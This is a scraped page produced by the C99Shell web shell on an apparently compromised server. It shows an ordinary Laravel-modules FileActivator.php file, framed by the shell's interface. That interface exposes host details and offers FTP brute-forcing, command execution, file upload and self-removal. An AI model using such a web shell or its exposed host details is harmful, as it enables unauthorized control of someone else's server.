!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/nwidart/laravel-modules/src/Activators/   drwxr-xr-x
Free 28.56 GB of 117.98 GB (24.2%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     FileActivator.php (4.71 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Nwidart\Modules\Activators;

use 
Illuminate\Cache\CacheManager;
use 
Illuminate\Config\Repository as Config;
use 
Illuminate\Container\Container;
use 
Illuminate\Contracts\Filesystem\FileNotFoundException;
use 
Illuminate\Filesystem\Filesystem;
use 
Nwidart\Modules\Contracts\ActivatorInterface;
use 
Nwidart\Modules\Module;

class 
FileActivator implements ActivatorInterface
{
    
/**
     * Laravel cache instance
     *
     * @var CacheManager
     */
    
private $cache;

    
/**
     * Laravel Filesystem instance
     *
     * @var Filesystem
     */
    
private $files;

    
/**
     * Laravel config instance
     *
     * @var Config
     */
    
private $config;

    
/**
     * @var string
     */
    
private $cacheKey;

    
/**
     * @var string
     */
    
private $cacheLifetime;

    
/**
     * Array of modules activation statuses
     *
     * @var array
     */
    
private $modulesStatuses;

    
/**
     * File used to store activation statuses
     *
     * @var string
     */
    
private $statusesFile;

    public function 
__construct(Container $app)
    {
        
$this->cache $app['cache'];
        
$this->files $app['files'];
        
$this->config $app['config'];
        
$this->statusesFile $this->config('statuses-file');
        
$this->cacheKey $this->config('cache-key');
        
$this->cacheLifetime $this->config('cache-lifetime');
        
$this->modulesStatuses $this->getModulesStatuses();
    }

    
/**
     * Get the path of the file where statuses are stored
     *
     * @return string
     */
    
public function getStatusesFilePath(): string
    
{
        return 
$this->statusesFile;
    }

    
/**
     * @inheritDoc
     */
    
public function reset(): void
    
{
        if (
$this->files->exists($this->statusesFile)) {
            
$this->files->delete($this->statusesFile);
        }
        
$this->modulesStatuses = [];
        
$this->flushCache();
    }

    
/**
     * @inheritDoc
     */
    
public function enable(Module $module): void
    
{
        
$this->setActiveByName($module->getName(), true);
    }

    
/**
     * @inheritDoc
     */
    
public function disable(Module $module): void
    
{
        
$this->setActiveByName($module->getName(), false);
    }

    
/**
     * @inheritDoc
     */
    
public function hasStatus(Module $modulebool $status): bool
    
{
        if (!isset(
$this->modulesStatuses[$module->getName()])) {
            return 
$status === false;
        }

        return 
$this->modulesStatuses[$module->getName()] === $status;
    }

    
/**
     * @inheritDoc
     */
    
public function setActive(Module $modulebool $active): void
    
{
        
$this->setActiveByName($module->getName(), $active);
    }

    
/**
     * @inheritDoc
     */
    
public function setActiveByName(string $namebool $status): void
    
{
        
$this->modulesStatuses[$name] = $status;
        
$this->writeJson();
        
$this->flushCache();
    }

    
/**
     * @inheritDoc
     */
    
public function delete(Module $module): void
    
{
        if (!isset(
$this->modulesStatuses[$module->getName()])) {
            return;
        }
        unset(
$this->modulesStatuses[$module->getName()]);
        
$this->writeJson();
        
$this->flushCache();
    }

    
/**
     * Writes the activation statuses in a file, as json
     */
    
private function writeJson(): void
    
{
        
$this->files->put($this->statusesFilejson_encode($this->modulesStatusesJSON_PRETTY_PRINT));
    }

    
/**
     * Reads the json file that contains the activation statuses.
     * @return array
     * @throws FileNotFoundException
     */
    
private function readJson(): array
    {
        if (!
$this->files->exists($this->statusesFile)) {
            return [];
        }

        return 
json_decode($this->files->get($this->statusesFile), true);
    }

    
/**
     * Get modules statuses, either from the cache or from
     * the json statuses file if the cache is disabled.
     * @return array
     * @throws FileNotFoundException
     */
    
private function getModulesStatuses(): array
    {
        if (!
$this->config->get('modules.cache.enabled')) {
            return 
$this->readJson();
        }

        return 
$this->cache->remember($this->cacheKey$this->cacheLifetime, function () {
            return 
$this->readJson();
        });
    }

    
/**
     * Reads a config parameter under the 'activators.file' key
     *
     * @param  string $key
     * @param  $default
     * @return mixed
     */
    
private function config(string $key$default null)
    {
        return 
$this->config->get('modules.activators.file.' $key$default);
    }

    
/**
     * Flushes the modules activation statuses cache
     */
    
private function flushCache(): void
    
{
        
$this->cache->forget($this->cacheKey);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0044 ]--